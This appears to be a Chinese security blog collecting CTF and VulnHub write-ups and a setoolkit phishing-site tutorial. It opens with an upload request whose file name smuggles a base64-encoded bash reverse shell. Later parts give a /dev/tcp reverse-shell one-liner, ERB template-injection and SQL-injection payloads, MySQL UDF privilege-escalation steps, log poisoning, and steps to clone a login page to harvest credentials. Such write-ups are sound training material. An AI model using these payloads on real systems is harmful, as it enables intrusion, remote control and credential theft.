Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#"
Content-Type: image/jpeg
asdasd
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu--

附：上传文件请求包

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>POST传输数据包</title>
</head>
<body>
<form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data">
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

卫继龚的博客——1（2023WMCTF）

下载题目附件，分析app.js

32-135行的路由，用nodejs实现了werkzeug的console，类似于Flask里面的调试模式的console，不过这里需要鉴权才能进入console

在edit这个路由里，获取传入的id，并做查询， !/\d+/igm.test(id)用于检查id是否包含一个或多个数字，所以还是可以注入的，只需要包含数字且不包含into、outfile、dumpfile即可

再看getPostById方法，这里直接对传入的id做拼接（在post.js）

直接传/post/1'/edit发现就可以注入

前面提到的鉴权，它的pin在程序启动的时候就被打印出来了

[2024西湖论剑]only_sql

Tue, 30 Jan 2024 00:00:00 +0800

拿到题目后打开发现是一个mysql连接面板，初步猜测是在自己的远程数据库里写木马再写到靶机上

用vps开一个数据库，给root后连接，发现确实可以执行sql指令

但是没法写东西到靶机里（into outfile），搜索后发现是要开一个secure_file_priv的参数

并且我发现了这篇博客

可以用load data local infile语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用搭建蜜罐的方式直接读文件，我后来选择使用后者

经过测试，蜜罐搭建后用面板连接，确实可以读取到文件

将query.php读出来就可以看到靶机运行的mysql的账号密码和库名，回到一开始的面板登录即可。登陆后，试了一圈也没发现flag文件，所以猜测是在环境变量。但是没找到读环境变量的方法，只能想办法rce

由于实在找不到什么除了sql外的rce手段，所以最后选择直接用udf提权

UDF（user defined function）用户自定义函数,是MySQL的一个扩展接口，称为用户自定义函数,是用来拓展MySQL的技术手段，用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。

先确定secure_file_priv是空值

show variables like '%secure%';

之后确定一下mysql安装路径

show variables like '%basedir%';

通过主机版本及架构确认mysql位数来选用udf文件

show variables like '%compile%';

查看 plugin 目录

show variables like 'plugin%';

还要再看一下有没有满足高位权限

select * from mysql.user where user = substring_index(user(), '@', 1) ;

最后看一下plugin的值

select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权，为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外，mysql用户还需对此plugin目录具有写权限。

上述条件满足且信息搜集完后，这里我选择用msf里自带的udf库文件，路径是/usr/share/metasploit-framework/data/exploits/mysql

2024寒假训练赛3——Writeup

Sat, 27 Jan 2024 00:00:00 +0800

WEB

TODO

题目给了两个端口，也就是起了两个web服务，一个是一个TODO应用，一个是。。。额。html测试器

应用一

应用二

作者直接给出了源码，页面里看不出啥，我们直接来看源码

在util/report.js发现了可疑的地方。

const LOGIN_URL = "http://127.0.0.1/login";
let browser = null
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
const doReportHandler = async (req, res) => {
...
await visit(url)
...
}

在routes/index.js里可以看到router.post('/report', doReportHandler);

2024寒假训练赛2——Writeup

Thu, 25 Jan 2024 00:00:00 +0800

WEB

窥视

一个简单的论坛系统

核心的api有

登录 POST /auth/login
注册 POST /auth/register
创建/回复帖子 POST /forum/post

审了一圈代码，唯一可操作的地方应该就是创建帖子(POST /forum/post)那一块了，这里有个文件图片上传

ValidationMiddleware("post", "/forum"),
async function (req, res) {
const { title, message, parentId, ...convertParams } = req.body;
...
let attachedImage = null;
if (req.files && req.files.image) {
const fileName = randomBytes(16).toString("hex");
const filePath = path.join(__dirname, "..", "uploads", fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError("There was an issue processing your image, please try again.");
console.error("Error occured while processing image:", error);
return res.redirect("/forum");
}
}
...
}

随便进到一篇文章里po一张图片上去，结合POST表单和代码可以看出来，除了title, message, parentId三个参数外，其他参数都被写到convertParams里了，
const processedImage = await convert负责用convertParams里的参数对图片进行一个转换。

2024寒假训练赛1——Writeup

Wed, 24 Jan 2024 00:00:00 +0800

WEB

LoveTok

拿到附件后先看文件结构

还是比较简单的，老规矩，先从index入口开始

注意到这个对象，是个路由，路由方法在上面的函数。文件结构里找一下发现了同名的文件，进去看看

发现接收format参数后拿他去new了一个对象，同样跟进一下这个TimeModel文件

先看构造函数，可以看到会被addslashes过滤一遍。这里简单说一下这个函数的处理方法，如果被处理数据是输入到数据库中的，就会在例如单双引号、斜杠前面加上反斜杠进行转义。算是一种安全处理方式。不管要注意的就是，他只在数据输入进数据库时有效。

接下来就是一些显示的处理。看到下面的getTime方法，有个eval，应该就是利用这个家伙了

可以看到format有被放到eval中，但是不管输入什么都会被当成文本。怎么办呢？看提示

又是一个直接给payload的题了属于是

霓虹灯

一样，先看文件结构

发现不是常规语言，而是ruby

没事，同样先找index入口。

post提交了一个表单，没有明显的接口提示，那就直接看看controllers吧

没猜错，controllers控制着表单接收。如果经是验丰富的人看到这个正则匹配应该就知道肯定需要绕过了，但是我们还不清楚这个ERB对象是干嘛用的，再看看其他文件，也没发现有这个ERB类的定义，所以猜测应该是ruby自带的

搜了一下发现还真是，是个模板，而且还有个模板注入漏洞

发现ERB是Embedded RuBy的简称，意思是嵌入式的Ruby，是一种文本模板技术

网上提供了很多这个模板的注入方法，简单看了一下，读文件应该是长下面这样

<%= File.open('flag.txt').read %>

但是显然这应该不满足我们的正则匹配规则，怎么办呢？我看到了这篇文档

简单来说就是用^或者$，但是实测发现并不奏效，不过也当作是个知识点记录一下

怎么办呢？继续搜，发现了这个

是的，使用%0a或者\n换行就能绕过。拿我们前面的payload测试一下

1111%0a<%= File.open('/flag').read %>

这里有个坑要注意，如果上面这句payload直接在前端的输入框输入，就会被多次url编码，导致后端接收到的结果与预期不同，因此要将%,=等符号手动url编码后放置到数据包中进行发送

最终在数据包中的payload应该如下

neon=111%0a<%25%3d+File.open('/flag').read+%25>

有毒朋友

简单的文件包含与本地命令执行，下载附件后先看入口index.php

发现是读cookie，并且看到是被base64编码的，因此可以抓包下来看到serialize($page)的内容

在右侧已经被自动解码

继续看代码，跟进到PageModel

发现有一个文件包含的地方，并且可以通过控制刚刚cookie中的参数来达到访问不同的文件的效果。此时包含什么文件进来都会被当成php代码执行。而现在要找到能够查看并且可随着数据包而修改的文件内容的，第一个想起的就是服务器的日志文件。它会记录我们对服务器的访问请求。具体可以看我的这篇博客

所以可以通过修改User-Agent，从而达到让日志文件被写入php指令并执行的目的

这里要注意，得发送两次才能看到ls的结果，可以思考一下这是为什么

MISC

嘈杂

就像提示里说的那样，这里直接放exp

import numpy as np
from scipy.io.wavfile import read
from scipy.fft import dst
# 读取音频文件
final_waveform = read("encrypted.wav")
# 对音频信号进行离散余弦变换（DST）
result = dst(final_waveform[1])
# 从变换结果中选择幅度大于10^5的值
amplitudes = result[result > 10**5]
amplitudes.sort()
# 用于存储恢复的文本
recovered = ""
# 遍历选定的幅度值
for a in amplitudes:
# 找到幅度在变换结果中的位置
found = np.where(result == a)[0][0]
# 判断位置是否为奇数
if found % 2 == 1:
# 计算字符对应的ASCII码值
c = round(found / 20)
# 将ASCII码值缩小，直到在可打印字符范围内
while c > 128:
c //= 4
# 将字符添加到恢复的文本中
recovered += chr(c)
# 打印恢复的flag
print(recovered)

莫斯档案馆

2023TKKCTF——Write up

Mon, 11 Dec 2023 00:00:00 +0800

⚠：如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员，用语会比较口语化，如有不严谨的地方还请见谅

WEB

easy_SQL

拿到题第一步先审计代码，这里过滤只有一个clean函数，按照常规有两种解题思路

1.在查pass的地方绕过，在name后输入管理员账号即可。但问题就是，我们现在并没有管理员账号，因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除
2.、在name或pass里插入联合查询，以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况，而且还会出现单/双引号被clean过滤的情况

怎么办呢？我们先把query里的sql语句提取出来做一下研究

SELECT * FROM users WHERE name='".$username."' AND pass='".$password."';

假设我现在输入的username=admin，password=123，那么就是

SELECT * FROM users WHERE name='admin' AND pass='123';

这里我们先尝试把AND pass删掉，在username输入\

SELECT * FROM users WHERE name='admin\' AND pass='123';

为什么这样就叫把AND pass删掉呢？因为原本在admin后的引号被斜杠转义成了内容，丧失了原先用来“框住”字符串的功能，而这个功能已经被pass=后面的引号给替代。此时我们只要在password输入or 1=1 -- ，SQL语句变成

SELECT * FROM users WHERE name='admin\' AND pass='or 1=1 -- 123';

123';就会被注释掉，而这句语句where后面的条件因为or 1=1而100%成立，因此就会执行SELECT * FROM users，即可拿到flag。

这里有个细节需要注意，就是--后面是要带个空格的，一些浏览器会把URL中最后一个空格删掉，因此要手动补一个%20

时光密钥

PS：本题由于容器实例时间校对有错，因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好，多算了二十几秒就开始发包尝试

打开实例，根据提示，先算出合适的时间戳，再用burp抓包修改一下即可

在网上找到现在的时间戳

burp抓包

为了方便操作，我们把数据包发到repeater

更新一下时间戳，预估个比当前时间戳多20到25秒左右的时间放到password，不断点击send直至出现下面所示的cookie即可

根据所给提示里的博客可知，base64解码该cookie即可获得下面结果

将gift值后面的东西进行base32解码即可

[VulnHub]第三章

Tue, 24 Oct 2023 00:00:00 +0800

本章靶场：Prime: 1

FUZZ

用来用去感觉还是wfuzz好用，参数简洁明了。这个靶机下用到参数有下面这些

wpscan

wpscan的-e参数，可以用来枚举用户名

wordpress修改主题文件

一个意料之外又情理之中的功能，可以用来写一句话木马

防御办法：wp禁止主题编辑操作，通过在wp-config.php中，把define(‘DISALLOW_FILE_EDIT’,true)

MSF提权漏洞搜索

在拿到普通用户后，在msf中尝试searchsploit指令，后面加上系统的版本信息，就能找到提权漏洞的exp，编译后上传，再运行即可

[VulnHub]第二章

Sun, 23 Jul 2023 00:00:00 +0800

本章靶场：Corrosion系列

kali上的目录扫描字典

经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门，一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况

以下是整理的一些常用字典目录，当然可能有疏漏的地方，但也足以应付大部分场景

#除了默认扫描外，绝对目录均为/usr
dirsearch默认扫描
nikto默认扫描
../share/dirb
../share/dirbuster
../wordlist

Bash -i

这个参数的作用是创建一个新的bash交互

但真正实用的是下面这句反弹shell

bash -i >& /dev/tcp/IP地址/端口 0>&1

具体分析可以看这里

fcrackzip

这是一个压缩包密码爆破工具。可以使用自定义字符组合

fcrackzip -b -c 'aA1' -l 1-10 -u 123lybbn.zip

-b 表示使用暴利破解的方式
-c ‘aA1’ 表示使用大小写字母和数字混合破解的方式
-l 1-10 表示需要破解的密码长度为1到10位
-u 表示只显示破解出来的密码，其他错误的密码不显示出

fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip

-D 表示要使用字典破解
-p 表示要使用那个字典破解

nano

我自己本人经常死脑筋只会用vim或者vi来修改文件，但其实很多靶机都会有这个坑，就是没有vi系列，只能用nano

UID、GID、EUID、EGID、SUID、SGID

内容比较多，简单说一下

UID是当前实际用户，GID是当前用户组，EUID是文件有效用户，EGID是文件有效用户组

而SUID和SGID更像是设置“全局变量”（其实我也还不太理解，因为暂时没怎么用到），感兴趣的可以看这里

硬链接和软链接

简单来说，在linux文件结构中，硬链接更像是一个“实时同步”，并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看这里

[VulnHub]第一章

Wed, 05 Jul 2023 00:00:00 +0800

本期靶场：EMPIRE系列

getcap和setcap

内容比较复杂，看这里

大概就是可以了解一些文件的操作权限是什么，比如一个有root读取权限的可执行文件就能利用

netdiscover

一句命令即可查完内网存活主机，比nmap快n倍

dirb

目录扫描，dirsearch可以平替，但两者字典库不一定一样

enum4linux

用来枚举已开启SMB服务的linux主机用户

wfuzz

模糊路径搜索器，和dirsearch最大区别就在于能够指定一些参数和模糊路径，例如枚举/~myfiles这样的东西。具体用法看这里

ffuf

也是一个模糊搜索工具，不一样的地方在于这个工具是可以自己选择后缀名的

什么意思呢，比如用wfuzz扫http://192.168.2.17/~secret/.FUZZ这个链接，结果只能是某个目录，而如果使用ffuf，则可以扫描到名叫FUZZ的某个文件html，txt，php等各种可自定义后缀的文件

Base家族

凡是带有=填充符，base64要是不行就试试58或者其他的

ssh2john

这是一个ssh私钥处理脚本，在使用john进行ssh私钥爆破时需要先用这个脚本处理

sudo

-V 显示版本编号
-h 会显示版本编号及指令的使用方式说明
-l 显示出自己（执行 sudo 的使用者）的权限
-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行（N 预设为五）会问密码，这个参数是重新做一次确认，如果超过 N 分钟，也会问密码
-k 将会强迫使用者在下一次执行 sudo 时问密码（不论有没有超过 N 分钟）
-b 将要执行的指令放在背景执行
-p prompt 可以更改问密码的提示语，其中 %u 会代换为使用者的帐号名称， %h 会显示主机名称
-u username/#uid 不加此参数，代表要以 root 的身份执行指令，而加了此参数，可以以 username 的身份执行指令（#uid 为该 username 的使用者号码）
-s 执行环境变数中的 SHELL 所指定的 shell ，或是 /etc/passwd 里所指定的 shell

Red的钓鱼网站

Tue, 15 Nov 2022 00:00:00 +0800

方法

要想制作一个钓鱼网站，就需要满足以下几点条件：

1）一个与原网站高度相似的html页面
2）一台能够与受害者主机有直接或间接联系的终端

虽然看着简单，但单要完成第一步可以说就已经让一些人够呛。所以，想要在Windows上用一般的方法来实现这一目的，显然是比较复杂的。所以Red便下意识地将目光转向了kali。好在kali集成了一款十分强大的工具setoolkit

下面就是我们今天的犯罪嫌疑人Red的操作步骤
在kali命令行中输入setoolkit，就可以打开这一工具。第一次打开需要输入y来进行工具依赖的安装

会出现以下内容

拉到下方，会出现如下内容

翻译后内容如下

社会工程学攻击
快速追踪测试
第三方模块
升级软件
升级配置
帮助

输入1

鱼叉式网络攻击
网页攻击
传染媒介式
建立payload和listener
邮件群发攻击
Arduino基础攻击
无线接入点攻击
二维码攻击
Powershell攻击
第三反方模块

输入2

Java applet攻击
Metasploit浏览器攻击
钓鱼网站攻击
标签钓鱼攻击
网站jacking攻击
多种网站攻击
全屏幕攻击

输入3

网站模板
站点克隆
用自己的网站

输入2，这里进行网站克隆，默认状态下对本地ip回车即可，将oj的登陆网站输入进来，等待捕获输入信息即可。这里用账号：admin，密码：IST22006来输入，可以看到如下内容

可以看到成功捕获，钓鱼网站制作成功~

怎样让外网访问到？

这就需要用到一种技术：内网穿透
内网穿透的目的是：让外网能访问你本地的应用，例如在外网打开你本地http://127.0.0.1 指向的Web站点。
那怎么才能实现内网穿透呢？现有工具有花生壳，natapp，小米球工具，前两个都是收费的，最后一个生成的域名前缀是自己设置的，穿透域名是xx.ngrok.xiaomiqiu.cn.有兴趣的可以玩一下。